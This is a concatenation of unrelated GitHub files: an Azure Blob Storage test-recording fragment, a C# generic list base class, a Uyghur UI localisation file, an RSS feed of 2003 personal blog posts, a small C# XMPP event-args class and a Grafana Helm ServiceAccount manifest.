[bytes=0-33554431] x-ms-version: ['2018-11-09'] method: GET uri: https://storagename.blob.core.windows.net/utcontainer32bc1531/,a,a, response: body: {string: ','} headers: Accept-Ranges: [bytes] Content-Length: ['1'] Content-Range: [bytes 0-0/1] Content-Type: [application/octet-stream] Date: ['Thu, 09 May 2019 00:52:34 GMT'] ETag: ['"0x8D6D418A023BF2B"'] Last-Modified: ['Thu, 09 May 2019 00:52:35 GMT'] Server: [Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0] Vary: [Origin] x-ms-blob-content-md5: [wMtfD88jmrPZwfzTH/8e/A==] x-ms-blob-type: [BlockBlob] x-ms-creation-time: ['Thu, 09 May 2019 00:52:35 GMT'] x-ms-lease-state: [available] x-ms-lease-status: [unlocked] x-ms-request-id: [d0beb85c-201e-0010-0f01-06f9cd000000] x-ms-server-encrypted: ['true'] x-ms-tag-count: ['0'] x-ms-version: ['2018-11-09'] status: {code: 206, message: Partial Content} - request: body: '~' headers: Connection: [keep-alive] Content-Length: ['1'] User-Agent: [Azure-Storage/1.4.0-2.0.0 (Python CPython 3.7.0; Darwin 18.5.0)] x-ms-blob-type: [BlockBlob] x-ms-client-request-id: [bbfd77e6-71f4-11e9-b134-acde48001122] x-ms-date: ['Thu, 09 May 2019 00:52:35 GMT'] x-ms-version: ['2018-11-09'] method: PUT uri: https://storagename.blob.core.windows.net/utcontainer32bc1531/~a~a~ response: body: {string: ''} headers: Content-Length: ['0'] Content-MD5: [THYfFw4BaDb/hEmCArmYJw==] Date: ['Thu, 09 May 2019 00:52:34 GMT'] ETag: ['"0x8D6D418A030BAA7"'] Last-Modified: ['Thu, 09 May 2019 00:52:35 GMT'] Server: [Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0] x-ms-request-id: [d0beb880-201e-0010-2f01-06f9cd000000] x-ms-request-server-encrypted: ['true'] x-ms-version: ['2018-11-09'] status: {code: 201, message: Created} - request: body: null headers: Connection: [keep-alive] User-Agent: [Azure-Storage/1.4.0-2.0.0 (Python CPython 3.7.0; Darwin 18.5.0)] x-ms-client-request-id: [bc0393e2-71f4-11e9-b134-acde48001122] x-ms-date: ['Thu, 09 May 2019 00:52:35 GMT'] x-ms-range: [bytes=0-33554431] x-ms-version: ['2018-11-09'] method: GET uri: https://storagename.blob.core.windows.net/utcontainer32bc1531/~a~a~ response: body: {string: '~'} headers: Accept-Ranges: [bytes] Content-Length: ['1'] Content-Range: [bytes 0-0/1] Content-Type: [application/octet-stream] Date: ['Thu, 09 May 2019 00:52:34 GMT'] ETag: ['"0x8D6D418A030BAA7"'] Last-Modified: ['Thu, 09 May 2019 00:52:35 GMT'] Server: [Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0] Vary: [Origin] x-ms-blob-content-md5: [THYfFw4BaDb/hEmCArmYJw==] x-ms-blob-type: [BlockBlob] x-ms-creation-time: ['Thu, 09 May 2019 00:52:35 GMT'] x-ms-lease-state: [available] x-ms-lease-status: [unlocked] x-ms-request-id: [d0beb8a4-201e-0010-4d01-06f9cd000000] x-ms-server-encrypted: ['true'] x-ms-tag-count: ['0'] x-ms-version: ['2018-11-09'] status: {code: 206, message: Partial Content} version: 1
{ "pile_set_name": "Github" }
// Copyright 2007-2008 The Apache Software Foundation. // // Licensed under the Apache License, Version 2.0 (the "License"); you may not use // this file except in compliance with the License. You may obtain a copy of the // License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software distributed // under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR // CONDITIONS OF ANY KIND, either express or implied. See the License for the // specific language governing permissions and limitations under the License. namespace Magnum.Collections { using System; using System.Collections; using System.Collections.Generic; /// <summary> /// ListBase is an abstract class that can be used as a base class for a read-write collection that needs /// to implement the generic IList&lt;T&gt; and non-generic IList collections. The derived class needs /// to override the following methods: Count, Clear, Insert, RemoveAt, and the indexer. The implementation /// of all the other methods in IList&lt;T&gt; and IList are handled by ListBase. /// </summary> /// <typeparam name="T"></typeparam> [Serializable] public abstract class ListBase<T> : CollectionBase<T>, IList<T>, IList { /// <summary> /// Adds an item to the end of the list. This method is equivalent to calling: /// <code>Insert(Count, item)</code> /// </summary> /// <param name="value">The item to add to the list.</param> /// <exception cref="ArgumentException"><paramref name="value"/> cannot be converted to T.</exception> int IList.Add(object value) { int count = Count; Insert(count, ConvertToItemType("value", value)); return count; } /// <summary> /// Removes all the items from the list, resulting in an empty list. /// </summary> void IList.Clear() { Clear(); } /// <summary> /// Determines if the list contains any item that compares equal to <paramref name="value"/>. /// </summary> /// <remarks>Equality in the list is determined by the default sense of /// equality for T. If T implements IComparable&lt;T&gt;, the /// Equals method of that interface is used to determine equality. Otherwise, /// Object.Equals is used to determine equality.</remarks> /// <param name="value">The item to search for.</param> bool IList.Contains(object value) { if (value is T || value == null) return Contains((T) value); else return false; } /// <summary> /// Find the first occurrence of an item equal to <paramref name="value"/> /// in the list, and returns the index of that item. /// </summary> /// <remarks>Equality in the list is determined by the default sense of /// equality for T. If T implements IComparable&lt;T&gt;, the /// Equals method of that interface is used to determine equality. Otherwise, /// Object.Equals is used to determine equality.</remarks> /// <param name="value">The item to search for.</param> /// <returns>The index of <paramref name="value"/>, or -1 if no item in the /// list compares equal to <paramref name="value"/>.</returns> int IList.IndexOf(object value) { if (value is T || value == null) return IndexOf((T) value); else return -1; } /// <summary> /// Insert a new /// item at the given index. /// </summary> /// <param name="index">The index in the list to insert the item at. After the /// insertion, the inserted item is located at this index. The /// first item in the list has index 0.</param> /// <param name="value">The item to insert at the given index.</param> /// <exception cref="ArgumentOutOfRangeException"><paramref name="index"/> is /// less than zero or greater than Count.</exception> /// <exception cref="ArgumentException"><paramref name="value"/> cannot be converted to T.</exception> void IList.Insert(int index, object value) { Insert(index, ConvertToItemType("value", value)); } /// <summary> /// Returns whether the list is a fixed size. This implementation always returns false. /// </summary> /// <value>Alway false, indicating that the list is not fixed size.</value> bool IList.IsFixedSize { get { return false; } } /// <summary> /// Returns whether the list is read only. This implementation returns the value /// from ICollection&lt;T&gt;.IsReadOnly, which is by default, false. /// </summary> /// <value>By default, false, indicating that the list is not read only.</value> bool IList.IsReadOnly { get { return ((ICollection<T>) this).IsReadOnly; } } /// <summary> /// Searches the list for the first item that compares equal to <paramref name="value"/>. /// If one is found, it is removed. Otherwise, the list is unchanged. /// </summary> /// <remarks>Equality in the list is determined by the default sense of /// equality for T. If T implements IComparable&lt;T&gt;, the /// Equals method of that interface is used to determine equality. Otherwise, /// Object.Equals is used to determine equality.</remarks> /// <param name="value">The item to remove from the list.</param> /// <exception cref="ArgumentException"><paramref name="value"/> cannot be converted to T.</exception> void IList.Remove(object value) { if (value is T || value == null) Remove((T) value); } /// <summary> /// Removes the /// item at the given index. /// </summary> /// <param name="index">The index in the list to remove the item at. The /// first item in the list has index 0.</param> /// <exception cref="ArgumentOutOfRangeException"><paramref name="index"/> is /// less than zero or greater than or equal to Count.</exception> void IList.RemoveAt(int index) { RemoveAt(index); } /// <summary> /// Gets or sets the /// value at a particular index in the list. /// </summary> /// <param name="index">The index in the list to get or set an item at. The /// first item in the list has index 0, and the last has index Count-1.</param> /// <value>The item at the given index.</value> /// <exception cref="ArgumentOutOfRangeException"><paramref name="index"/> is /// less than zero or greater than or equal to Count.</exception> /// <exception cref="ArgumentException"><paramref name="value"/> cannot be converted to T.</exception> object IList.this[int index] { get { return this[index]; } set { this[index] = ConvertToItemType("value", value); } } /// <summary> /// The property must be overridden by the derived class to return the number of /// items in the list. /// </summary> /// <value>The number of items in the list.</value> public abstract override int Count { get; } /// <summary> /// This method must be overridden by the derived class to empty the list /// of all items. /// </summary> public abstract override void Clear(); /// <summary> /// The indexer must be overridden by the derived class to get and set /// values of the list at a particular index. /// </summary> /// <param name="index">The index in the list to get or set an item at. The /// first item in the list has index 0, and the last has index Count-1.</param> /// <returns>The item at the given index.</returns> /// <exception cref="ArgumentOutOfRangeException"><paramref name="index"/> is /// less than zero or greater than or equal to Count.</exception> public abstract T this[int index] { get; set; } /// <summary> /// This method must be overridden by the derived class to insert a new /// item at the given index. /// </summary> /// <param name="index">The index in the list to insert the item at. After the /// insertion, the inserted item is located at this index. The /// first item in the list has index 0.</param> /// <param name="item">The item to insert at the given index.</param> /// <exception cref="ArgumentOutOfRangeException"><paramref name="index"/> is /// less than zero or greater than Count.</exception> public abstract void Insert(int index, T item); /// <summary> /// This method must be overridden by the derived class to remove the /// item at the given index. /// </summary> /// <param name="index">The index in the list to remove the item at. The /// first item in the list has index 0.</param> /// <exception cref="ArgumentOutOfRangeException"><paramref name="index"/> is /// less than zero or greater than or equal to Count.</exception> public abstract void RemoveAt(int index); /// <summary> /// Enumerates all of the items in the list, in order. The item at index 0 /// is enumerated first, then the item at index 1, and so on. /// </summary> /// <remarks>The enumerator does not check for changes made /// to the structure of the list. Thus, changes to the list during /// enumeration may cause incorrect enumeration or out of range /// exceptions. Consider overriding this method and adding checks /// for structural changes.</remarks> /// <returns>An IEnumerator&lt;T&gt; that enumerates all the /// items in the list.</returns> public override IEnumerator<T> GetEnumerator() { int count = Count; for (int i = 0; i < count; ++i) { yield return this[i]; } } /// <summary> /// Determines if the list contains any item that compares equal to <paramref name="item"/>. /// The implementation simply checks whether IndexOf(item) returns a non-negative value. /// </summary> /// <remarks>Equality in the list is determined by the default sense of /// equality for T. If T implements IComparable&lt;T&gt;, the /// Equals method of that interface is used to determine equality. Otherwise, /// Object.Equals is used to determine equality.</remarks> /// <param name="item">The item to search for.</param> /// <returns>True if the list contains an item that compares equal to <paramref name="item"/>.</returns> public override bool Contains(T item) { return (IndexOf(item) >= 0); } /// <summary> /// Adds an item to the end of the list. This method is equivalent to calling: /// <code>Insert(Count, item)</code> /// </summary> /// <param name="item">The item to add to the list.</param> public override void Add(T item) { Insert(Count, item); } /// <summary> /// Searches the list for the first item that compares equal to <paramref name="item"/>. /// If one is found, it is removed. Otherwise, the list is unchanged. /// </summary> /// <remarks>Equality in the list is determined by the default sense of /// equality for T. If T implements IComparable&lt;T&gt;, the /// Equals method of that interface is used to determine equality. Otherwise, /// Object.Equals is used to determine equality.</remarks> /// <param name="item">The item to remove from the list.</param> /// <returns>True if an item was found and removed that compared equal to /// <paramref name="item"/>. False if no such item was in the list.</returns> public override bool Remove(T item) { int index = IndexOf(item); if (index >= 0) { RemoveAt(index); return true; } else { return false; } } /// <summary> /// Finds the index of the first item in the list that is equal to <paramref name="item"/>. /// </summary> /// <remarks>The default implementation of equality for type T is used in the search. This is the /// equality defined by IComparable&lt;T&gt; or object.Equals.</remarks> /// <param name="item">The item to search fror.</param> /// <returns>The index of the first item in the list that that is equal to <paramref name="item"/>. If no item is equal /// to <paramref name="item"/>, -1 is returned.</returns> public virtual int IndexOf(T item) { return Algorithms.FirstIndexOf(this, item, EqualityComparer<T>.Default); } /// <summary> /// Copies all the items in the list, in order, to <paramref name="array"/>, /// starting at index 0. /// </summary> /// <param name="array">The array to copy to. This array must have a size /// that is greater than or equal to Count.</param> public virtual void CopyTo(T[] array) { this.CopyTo(array, 0); } /// <summary> /// Copies a range of elements from the list to <paramref name="array"/>, /// starting at <paramref name="arrayIndex"/>. /// </summary> /// <param name="index">The starting index in the source list of the range to copy.</param> /// <param name="array">The array to copy to. This array must have a size /// that is greater than or equal to Count + arrayIndex.</param> /// <param name="arrayIndex">The starting index in <paramref name="array"/> /// to copy to.</param> /// <param name="count">The number of items to copy.</param> public virtual void CopyTo(int index, T[] array, int arrayIndex, int count) { Range(index, count).CopyTo(array, arrayIndex); } /// <summary> /// Provides a read-only view of this list. The returned IList&lt;T&gt; provides /// a view of the list that prevents modifications to the list. Use the method to provide /// access to the list without allowing changes. Since the returned object is just a view, /// changes to the list will be reflected in the view. /// </summary> /// <returns>An IList&lt;T&gt; that provides read-only access to the list.</returns> public new virtual IList<T> AsReadOnly() { return Algorithms.ReadOnly(this); } /// <summary> /// Finds the first item in the list that satisfies the condition /// defined by <paramref name="predicate"/>. If no item matches the condition, than /// the default value for T (null or all-zero) is returned. /// </summary> /// <remarks>If the default value for T (null or all-zero) matches the condition defined by <paramref name="predicate"/>, /// and the list might contain the default value, then it is impossible to distinguish the different between finding /// the default value and not finding any item. To distinguish these cases, use <see cref="TryFind"/>.</remarks> /// <param name="predicate">A delegate that defined the condition to check for.</param> /// <returns>The first item that satisfies the condition <paramref name="predicate"/>. If no item satisfies that /// condition, the default value for T is returned.</returns> /// <seealso cref="TryFind"/> public virtual T Find(Predicate<T> predicate) { return Algorithms.FindFirstWhere(this, predicate); } /// <summary> /// Finds the first item in the list that satisfies the condition /// defined by <paramref name="predicate"/>. /// </summary> /// <param name="predicate">A delegate that defines the condition to check for.</param> /// <param name="foundItem">If true is returned, this parameter receives the first item in the list /// that satifies the condition defined by <paramref name="predicate"/>.</param> /// <returns>True if an item that satisfies the condition <paramref name="predicate"/> was found. False /// if no item in the list satisfies that condition.</returns> public virtual bool TryFind(Predicate<T> predicate, out T foundItem) { return Algorithms.TryFindFirstWhere(this, predicate, out foundItem); } /// <summary> /// Finds the last item in the list that satisfies the condition /// defined by <paramref name="predicate"/>. If no item matches the condition, than /// the default value for T (null or all-zero) is returned. /// </summary> /// <remarks>If the default value for T (null or all-zero) matches the condition defined by <paramref name="predicate"/>, /// and the list might contain the default value, then it is impossible to distinguish the different between finding /// the default value and not finding any item. To distinguish these cases, use <see cref="TryFindLast"/>.</remarks> /// <param name="predicate">A delegate that defined the condition to check for.</param> /// <returns>The last item that satisfies the condition <paramref name="predicate"/>. If no item satisfies that /// condition, the default value for T is returned.</returns> /// <seealso cref="TryFindLast"/> public virtual T FindLast(Predicate<T> predicate) { return Algorithms.FindLastWhere(this, predicate); } /// <summary> /// Finds the last item in the list that satisfies the condition /// defined by <paramref name="predicate"/>. /// </summary> /// <param name="predicate">A delegate that defines the condition to check for.</param> /// <param name="foundItem">If true is returned, this parameter receives the last item in the list /// that satifies the condition defined by <paramref name="predicate"/>.</param> /// <returns>True if an item that satisfies the condition <paramref name="predicate"/> was found. False /// if no item in the list satisfies that condition.</returns> public virtual bool TryFindLast(Predicate<T> predicate, out T foundItem) { return Algorithms.TryFindLastWhere(this, predicate, out foundItem); } /// <summary> /// Finds the index of the first item in the list that satisfies the condition /// defined by <paramref name="predicate"/>. If no item matches the condition, -1 is returned. /// </summary> /// <param name="predicate">A delegate that defined the condition to check for.</param> /// <returns>The index of the first item that satisfies the condition <paramref name="predicate"/>. If no item satisfies that /// condition, -1 is returned.</returns> public virtual int FindIndex(Predicate<T> predicate) { return Algorithms.FindFirstIndexWhere(this, predicate); } /// <summary> /// Finds the index of the first item, in the range of items extending from <paramref name="index"/> to the end, that satisfies the condition /// defined by <paramref name="predicate"/>. If no item matches the condition, -1 is returned. /// </summary> /// <param name="predicate">A delegate that defined the condition to check for.</param> /// <param name="index">The starting index of the range to check.</param> /// <returns>The index of the first item in the given range that satisfies the condition <paramref name="predicate"/>. If no item satisfies that /// condition, -1 is returned.</returns> public virtual int FindIndex(int index, Predicate<T> predicate) { int foundIndex = Algorithms.FindFirstIndexWhere(Range(index, Count - index), predicate); if (foundIndex < 0) return -1; else return foundIndex + index; } /// <summary> /// Finds the index of the first item, in the range of <paramref name="count"/> items starting from <paramref name="index"/>, that satisfies the condition /// defined by <paramref name="predicate"/>. If no item matches the condition, -1 is returned. /// </summary> /// <param name="predicate">A delegate that defined the condition to check for.</param> /// <param name="index">The starting index of the range to check.</param> /// <param name="count">The number of items in range to check.</param> /// <returns>The index of the first item in the given range that satisfies the condition <paramref name="predicate"/>. If no item satisfies that /// condition, -1 is returned.</returns> public virtual int FindIndex(int index, int count, Predicate<T> predicate) { int foundIndex = Algorithms.FindFirstIndexWhere(Range(index, count), predicate); if (foundIndex < 0) return -1; else return foundIndex + index; } /// <summary> /// Finds the index of the last item in the list that satisfies the condition /// defined by <paramref name="predicate"/>. If no item matches the condition, -1 is returned. /// </summary> /// <param name="predicate">A delegate that defined the condition to check for.</param> /// <returns>The index of the last item that satisfies the condition <paramref name="predicate"/>. If no item satisfies that /// condition, -1 is returned.</returns> public virtual int FindLastIndex(Predicate<T> predicate) { return Algorithms.FindLastIndexWhere(this, predicate); } /// <summary> /// Finds the index of the last item, in the range of items extending from the beginning /// of the list to <paramref name="index"/>, that satisfies the condition /// defined by <paramref name="predicate"/>. If no item matches the condition, -1 is returned. /// </summary> /// <param name="predicate">A delegate that defined the condition to check for.</param> /// <param name="index">The ending index of the range to check.</param> /// <returns>The index of the last item in the given range that satisfies the condition <paramref name="predicate"/>. If no item satisfies that /// condition, -1 is returned.</returns> public virtual int FindLastIndex(int index, Predicate<T> predicate) { return Algorithms.FindLastIndexWhere(Range(0, index + 1), predicate); } /// <summary> /// Finds the index of the last item, in the range of <paramref name="count"/> items ending at <paramref name="index"/>, that satisfies the condition /// defined by <paramref name="predicate"/>. If no item matches the condition, -1 is returned. /// </summary> /// <param name="predicate">A delegate that defined the condition to check for.</param> /// <param name="index">The ending index of the range to check.</param> /// <param name="count">The number of items in range to check.</param> /// <returns>The index of the last item in the given range that satisfies the condition <paramref name="predicate"/>. If no item satisfies that /// condition, -1 is returned.</returns> public virtual int FindLastIndex(int index, int count, Predicate<T> predicate) { int foundIndex = Algorithms.FindLastIndexWhere(Range(index - count + 1, count), predicate); if (foundIndex >= 0) return foundIndex + index - count + 1; else return -1; } /// <summary> /// Finds the index of the first item, in the range of items extending from <paramref name="index"/> to the end, /// that is equal to <paramref name="item"/>. /// </summary> /// <remarks>The default implementation of equality for type T is used in the search. This is the /// equality defined by IComparable&lt;T&gt; or object.Equals.</remarks> /// <param name="item">The item to search fror.</param> /// <param name="index">The starting index of the range to check.</param> /// <returns>The index of the first item in the given range that that is equal to <paramref name="item"/>. If no item is equal /// to <paramref name="item"/>, -1 is returned.</returns> public virtual int IndexOf(T item, int index) { int foundIndex = Algorithms.FirstIndexOf(Range(index, Count - index), item, EqualityComparer<T>.Default); if (foundIndex >= 0) return foundIndex + index; else return -1; } /// <summary> /// Finds the index of the first item, in the range of <paramref name="count"/> items starting from <paramref name="index"/>, /// that is equal to <paramref name="item"/>. /// </summary> /// <remarks>The default implementation of equality for type T is used in the search. This is the /// equality defined by IComparable&lt;T&gt; or object.Equals.</remarks> /// <param name="item">The item to search fror.</param> /// <param name="index">The starting index of the range to check.</param> /// <param name="count">The number of items in range to check.</param> /// <returns>The index of the first item in the given range that that is equal to <paramref name="item"/>. If no item is equal /// to <paramref name="item"/>, -1 is returned.</returns> public virtual int IndexOf(T item, int index, int count) { int foundIndex = Algorithms.FirstIndexOf(Range(index, count), item, EqualityComparer<T>.Default); if (foundIndex >= 0) return foundIndex + index; else return -1; } /// <summary> /// Finds the index of the last item in the list that is equal to <paramref name="item"/>. /// </summary> /// <remarks>The default implementation of equality for type T is used in the search. This is the /// equality defined by IComparable&lt;T&gt; or object.Equals.</remarks> /// <param name="item">The item to search fror.</param> /// <returns>The index of the last item in the list that that is equal to <paramref name="item"/>. If no item is equal /// to <paramref name="item"/>, -1 is returned.</returns> public virtual int LastIndexOf(T item) { return Algorithms.LastIndexOf(this, item, EqualityComparer<T>.Default); } /// <summary> /// Finds the index of the last item, in the range of items extending from the beginning /// of the list to <paramref name="index"/>, that is equal to <paramref name="item"/>. /// </summary> /// <remarks>The default implementation of equality for type T is used in the search. This is the /// equality defined by IComparable&lt;T&gt; or object.Equals.</remarks> /// <param name="item">The item to search fror.</param> /// <param name="index">The ending index of the range to check.</param> /// <returns>The index of the last item in the given range that that is equal to <paramref name="item"/>. If no item is equal /// to <paramref name="item"/>, -1 is returned.</returns> public virtual int LastIndexOf(T item, int index) { int foundIndex = Algorithms.LastIndexOf(Range(0, index + 1), item, EqualityComparer<T>.Default); return foundIndex; } /// <summary> /// Finds the index of the last item, in the range of <paramref name="count"/> items ending at <paramref name="index"/>, /// that is equal to <paramref name="item"/>. /// </summary> /// <remarks>The default implementation of equality for type T is used in the search. This is the /// equality defined by IComparable&lt;T&gt; or object.Equals.</remarks> /// <param name="item">The item to search for.</param> /// <param name="index">The ending index of the range to check.</param> /// <param name="count">The number of items in range to check.</param> /// <returns>The index of the last item in the given range that that is equal to <paramref name="item"/>. If no item is equal /// to <paramref name="item"/>, -1 is returned.</returns> public virtual int LastIndexOf(T item, int index, int count) { int foundIndex = Algorithms.LastIndexOf(Range(index - count + 1, count), item, EqualityComparer<T>.Default); if (foundIndex >= 0) return foundIndex + index - count + 1; else return -1; } /// <summary> /// Returns a view onto a sub-range of this list. Items are not copied; the /// returned IList&lt;T&gt; is simply a different view onto the same underlying items. Changes to this list /// are reflected in the view, and vice versa. Insertions and deletions in the view change the size of the /// view, but insertions and deletions in the underlying list do not. /// </summary> /// <remarks> /// <para>This method can be used to apply an algorithm to a portion of a list. For example:</para> /// <code>Algorithms.ReverseInPlace(deque.Range(3, 6))</code> /// will reverse the 6 items beginning at index 3.</remarks> /// <param name="start">The starting index of the view.</param> /// <param name="count">The number of items in the view.</param> /// <returns>A list that is a view onto the given sub-part of this list. </returns> /// <exception cref="ArgumentOutOfRangeException"><paramref name="start"/> or <paramref name="count"/> is negative.</exception> /// <exception cref="ArgumentOutOfRangeException"><paramref name="start"/> + <paramref name="count"/> is greater than the /// size of the list.</exception> public virtual IList<T> Range(int start, int count) { return Algorithms.Range(this, start, count); } /// <summary> /// Convert the given parameter to T. Throw an ArgumentException /// if it isn't. /// </summary> /// <param name="name">parameter name</param> /// <param name="value">parameter value</param> private static T ConvertToItemType(string name, object value) { try { return (T) value; } catch (InvalidCastException) { throw new ArgumentException(string.Format(Strings.WrongType, value, typeof (T)), name); } } } }
{ "pile_set_name": "Github" }
{ "@metadata": { "authors": [ "Sahran", "Tel'et", "Tifinaghes" ] }, "ooui-outline-control-move-down": "تۆۋەنگە يۆتكە", "ooui-outline-control-move-up": "يۇقۇرىغا يۆتكە", "ooui-outline-control-remove": "ئۆچۈر", "ooui-toolbar-more": "تېخىمۇ كۆپ", "ooui-toolgroup-expand": "تېخىمۇ كۆپ", "ooui-toolgroup-collapse": "ئاز", "ooui-item-remove": "چىقىرىۋەت", "ooui-dialog-message-accept": "تامام", "ooui-dialog-message-reject": "ۋاز كەچ", "ooui-dialog-process-error": "نامەلۇم خاتالىق كۆرۈلدى", "ooui-dialog-process-dismiss": "چىقىرىۋەت", "ooui-dialog-process-retry": "قايتا سىنا", "ooui-dialog-process-continue": "داۋاملاشتۇر", "ooui-selectfile-button-select": "بىر ھۆججەت تاللا", "ooui-selectfile-not-supported": "تاللانغان ھۆججەتتە مەسىلە بار", "ooui-selectfile-placeholder": "ھۆججەت تاللانمىدى", "ooui-selectfile-dragdrop-placeholder": "ھۆججەتنى بۇ يەرگە تاشلاڭ" }
{ "pile_set_name": "Github" }
<?xml version="1.0"?> <rss version="0.92"> <channel> <title>Paul Duncan</title> <link>http://www.paulduncan.org/</link> <description>Paul Duncan's personal blog.</description> </channel> <item> <title>Fun With Tense </title> <date>Wed Sep 3 19:37:18 2003</date> <creator>[email protected]</creator> <link>http://www.paulduncan.org/?id=23</link> <description> &lt;pre&gt; &amp;lt;richlowe&amp;gt; blah. &amp;lt;richlowe&amp;gt; that's what I say. &amp;lt;pabs&amp;gt; if i say it too then what happens? &amp;lt;richlowe&amp;gt; then &quot;that's what we say&quot; &amp;lt;richlowe&amp;gt; duh. &amp;lt;pabs&amp;gt; what if i say it, then retract it? &amp;lt;richlowe&amp;gt; Did they teach you nothing in school! &amp;lt;richlowe&amp;gt; &quot;that's what I say, and he said&quot; &amp;lt;pabs&amp;gt; :( &amp;lt;pabs&amp;gt; okay what if i say it, retract it, but then plan on saying it again at some point in the indeterminite future? &amp;lt;richlowe&amp;gt; &quot;that's what I say, and he has said, and will possibly say again&quot;? &amp;lt;pabs&amp;gt; see now that's not concise at all &lt;/pre&gt; </description> </item> <item> <title>We'll Miss You, Michael </title> <date>Mon Aug 25 09:52:41 2003</date> <creator>[email protected]</creator> <link>http://www.paulduncan.org/?id=22</link> <description> &lt;p&gt; Perhaps &lt;a href='http://www.dash-dash.org/pix/death.jpg'&gt;the image&lt;/a&gt; on &lt;a href='http://www.dash-dash.org/'&gt;his site&lt;/a&gt; was a bit more fitting than we realized. I'm frustrated that nothing and noone around him could help ease the pain that he was going through. We can take comfort in knowing that he felt the decision he made was best for him. We'll miss you, Michael. &lt;/p&gt; </description> </item> <item> <title>Horis, Isis, Osiris, Oh My! </title> <date>Fri Aug 22 22:39:23 2003</date> <creator>[email protected]</creator> <link>http://www.paulduncan.org/?id=21</link> <description> &lt;p&gt; I started reading one of the several mythology books I checked out earlier this week (as part of a personal research project, the results of which will be available here eventually). I've only made it through about 60 pages of Egyptian mythology so far, but it's interesting stuff. One thing that's impressive to me is how the sexes appear to be on much more equal footing (as compared to the Judeo/Christian mythology we've been innundated with for most of our lives). For example, Isis revives her husband Osiris by collecting his body parts, which are scattered throughout Egypt. She also saves her son Horus from death and nurtures him until he can fend for himself. Really interesting stuff. Anyway, I'll have more about the project as I get farther along. &lt;/p&gt; </description> </item> <item> <title>Nature Sucks </title> <date>Fri Aug 22 08:33:41 2003</date> <creator>[email protected]</creator> <link>http://www.paulduncan.org/?id=20</link> <description> &lt;p&gt; &lt;a href='http://www.linuxbrit.co.uk/'&gt;Tom&lt;/a&gt; has been having a rough couple of weeks. Apparently he's got &lt;a href='http://www.ninds.nih.gov/health_and_medical/disorders/bells_doc.htm'&gt;Bell's Palsy&lt;/a&gt; (link from ljlane), which, while treatable and rarely permanent, still leaves his face partially paralyzed. If you have a few minutes, you might consider sending him an &lt;abbr title='Electronic Card'&gt;E-Card&lt;/abbr&gt; or an &lt;a href='mailto:[email protected]'&gt;email&lt;/a&gt;. &lt;/p&gt; </description> </item> <item> <title>Or Maybe He Does </title> <date>Thu Aug 21 23:45:40 2003</date> <creator>[email protected]</creator> <link>http://www.paulduncan.org/?id=19</link> <description> &lt;p&gt; Okay, apparently Ed &lt;em&gt;does&lt;/em&gt; read this page. :-D &lt;/p&gt; </description> </item> <item> <title>Ed Got Married!! </title> <date>Thu Aug 21 15:52:34 2003</date> <creator>[email protected]</creator> <link>http://www.paulduncan.org/?id=18</link> <description> &lt;p&gt; Ed got married in the Bahamas! Here's a picture from the honeymoon: &lt;/p&gt; &lt;img src='/files/ed_dolphin.jpg' width='252' height='288' title='Ed on his honeymoon!' alt='Ed on his honeymoon!' /&gt; &lt;p&gt; (Fortunately he doesn't read this site). &lt;/p&gt; &lt;p&gt; One other thing. I weigh 186&lt;abbr title='Pounds'&gt;lbs&lt;/abbr&gt; now. The &lt;a href='http://www.pablotron.org/weight/'&gt;weight page&lt;/a&gt; has been updated. &lt;/p&gt; </description> </item> <item> <title>Gratuitous Douglas Adams Reference, #32427! </title> <date>Tue Aug 19 08:25:42 2003</date> <creator>[email protected]</creator> <link>http://www.paulduncan.org/?id=17</link> <description> &lt;p&gt; Just saw this &lt;acronym title='Uniform Resource Locator'&gt;URL&lt;/acronym&gt; on &lt;a href='http://www.diveintomark.org/'&gt;Dive Into Mark&lt;/a&gt;: &lt;/p&gt; &lt;p&gt; &lt;a href='http://www.google.com/search?q=answer+to+life+the+universe+and+everything'&gt;http://www.google.com/search?q=answer+to+life+the+universe+and+everything&lt;/a&gt; &lt;/p&gt; &lt;p&gt; &lt;a href='http://www.bbc.co.uk/h2g2/guide/'&gt;&lt;acronym title='Hitchhikers Guide to the Galaxy'&gt;H2G2&lt;/acronym&gt;&lt;/a&gt; references never get old for me. &lt;/p&gt; </description> </item> <item> <title>Weekend Update, sans Norm McDonald </title> <date>Tue Aug 19 08:18:32 2003</date> <creator>[email protected]</creator> <link>http://www.paulduncan.org/?id=16</link> <description> &lt;p&gt; What a nutty weekend. A friend of mine went to the &lt;acronym title='Emergency Room'&gt;ER&lt;/acronym&gt; on Friday night, so I spent 4 hours down there. It's really frustrating to see that many sick and injured people in once place, and not really be able to do anything about it. Also, for that much chaos, both the atmosphere and the staff are disturbingly calm. &lt;/p&gt; &lt;p&gt; I finally got &lt;a href='http://www.raggle.org/'&gt;Raggle&lt;/a&gt; to a point worthy of a new release. I'm not going to blather on about the new stuff; if you're interested you can &lt;a href='http://www.raggle.org/'&gt;check it out&lt;/a&gt; on your own. &lt;/p&gt; &lt;p&gt; &lt;a href='http://www.pablotron.org/weight/'&gt;The war against obesity&lt;/a&gt; continues! I'm down to 188 pounds now, a total of 75 pounds lost since the beginning of March. I've been having trouble losing these last 10 pounds, so this week is officially &quot;Go to the Gym Every Night or Else&quot; week. 2 days down, 5 to go. &lt;/p&gt; </description> </item> </rss>
{ "pile_set_name": "Github" }
using System; using System.Collections.Generic; using System.Text; using System.Threading.Tasks; using Waher.Things; using Waher.Things.SensorData; namespace Waher.Networking.XMPP.Provisioning { /// <summary> /// Event arguments for node callback methods. /// </summary> public class NodeResultEventArgs : JidEventArgs { private ThingReference node; internal NodeResultEventArgs(IqResultEventArgs e, object State, string JID, ThingReference Node) : base(e, State, JID) { this.node = Node; } /// <summary> /// Node reference. /// </summary> public ThingReference Node { get { return this.node; } } } }
{ "pile_set_name": "Github" }
--- # Source: grafana/templates/serviceaccount.yaml apiVersion: v1 kind: ServiceAccount metadata: labels: app: grafana chart: grafana-1.19.0 heritage: Tiller release: grafana name: grafana
{ "pile_set_name": "Github" }
